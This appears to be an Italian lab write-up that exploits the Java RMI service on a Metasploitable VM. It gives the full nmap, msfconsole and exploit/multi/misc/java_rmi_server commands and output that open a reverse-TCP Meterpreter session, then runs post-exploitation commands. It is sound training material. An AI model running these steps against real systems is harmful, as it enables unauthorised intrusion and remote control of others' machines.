

# Exploit java-RMI code execution

Per ottenere una sessione Meterpreter sulla nostra macchina remota Metasploitable una volta eseguito un Ping per assicurarci che le macchine si trovino sulla stessa rete è che comunichino

Dopo di che Tramite Nmap utilizzando il comando `[-A (ip target) -p (porte) ]` sono state trovate le varie porte aperte della macchina target

```
(sami@sami)-[~]
$ nmap -A 192.168.64.13 -p 1099
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-02 08:21 PDT
Nmap scan report for 192.168.64.13 (192.168.64.13)
Host is up (0.0017s latency).

PORT      STATE SERVICE      VERSION
1099/tcp  open  java-rmi     GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.53 seconds
```

Come si può vedere il servizio java si presenta alla porta 1099.

In seguito si è avviato [METASPLOIT FRAMEWORK](#) (programma open source in grado di eseguire exploit) tramite il comando `<msfconsole>`

```
(sami@sami)-[~]
$ msfconsole

.,:ok000kdc'      'cdk000ko:
.x0000000000000c  c000000000000x:
:00000000000000k, ,k00000000000000:
'000000000kkkk00000: :00000000000000000'
o00000000. ,o0000o0000l. ,00000000o
d00000000. ,c00000c. ,00000000x
l00000000. ;d; ,00000000l
.o0000000. ; ; ,00000000.
c00000000. .00c. 'o00. ,00000000c
o0000000. .0000. :0000. ,0000000o
l00000. .0000. :0000. ,00000l
;0000' .0000. :0000. ;0000;
.d00o .0000ccccx0000. x00d.
,k0l .0000000000000. .d0k,
:kk;.0000000000000.c0k:
;k00000000000000k:
,x000000000000x,
.l0000000l.
,d0d,

=[ metasploit v6.1.39-dev ]
+ -- ==[ 2214 exploits - 1171 auxiliary - 396 post ]
+ -- ==[ 616 payloads - 45 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit tip: Use help <command> to learn more
about any command

msf6 > search java_rmi
```

Successivamente con il comando `<search>` sono stati individuati gli exploit di nostro interesse, in questo caso sono 4  
Per utilizzare il l'exploit si è usato il comando `<use>` seguito dal path del nostro exploit

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank  Check
-  -
0  auxiliary/gather/java_rmi_registry          normal         No
Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server          2011-10-15     excellent Yes
Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server      2011-10-15     normal    No
Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31     excellent No
Java RMICConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

Una volta avviato l'exploit si è settato il <rhost> è il <lhost>

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.64.13
rhosts => 192.168.64.13
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.64.19
lhost => 192.168.64.19
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.64.13   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   false           no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   false           no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.64.19   yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)
```

dopo di che una volta settato tutto il necessario, tramite il comando <exploit> lanciamo il tutto

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.64.19:4444
[*] 192.168.64.13:1099 - Using URL: http://192.168.64.19:8080/6uqTGQLd81TXpF
[*] 192.168.64.13:1099 - Server started.
[*] 192.168.64.13:1099 - Sending RMI Header...
[*] 192.168.64.13:1099 - Sending RMI Call...
[*] 192.168.64.13:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.64.13
[*] Meterpreter session 1 opened (192.168.64.19:4444 -> 192.168.64.13:58633 ) at 2022-09-02 06:35:55 -0700

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.64.13
IPv4 Netmask : 255.255.255.0
IPv6 Address : fdef:e3d8:b3aa:ed69:d05a:a9ff:fe64:5cd1
IPv6 Netmask : ::
IPv6 Address : fe80::d05a:a9ff:fe64:5cd1
IPv6 Netmask : ::
```

tramite questa ultima riga possiamo notare che "abbiamo vinto" cioè è stato preso il controllo della macchina

Ora è possibile effettuare qualsiasi tipo di comando in questo caso è sono stati utilizzati <ifconfig>, <sysinfo>, <routes> [vedi figura sotto]

```
meterpreter > sysinfo
Computer      : metasploitable
OS           : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter  : java/linux
meterpreter > route
```

Versione sistema della  
macchina target

#### IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.64.13	255.255.255.0	0.0.0.0		

#### IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fdef:e3d8:b3aa:ed69:d05a:a9ff:fe64:5cd1	::	::		
fe80::d05a:a9ff:fe64:5cd1	::	::		

Tabella di Routing

```
meterpreter > █
```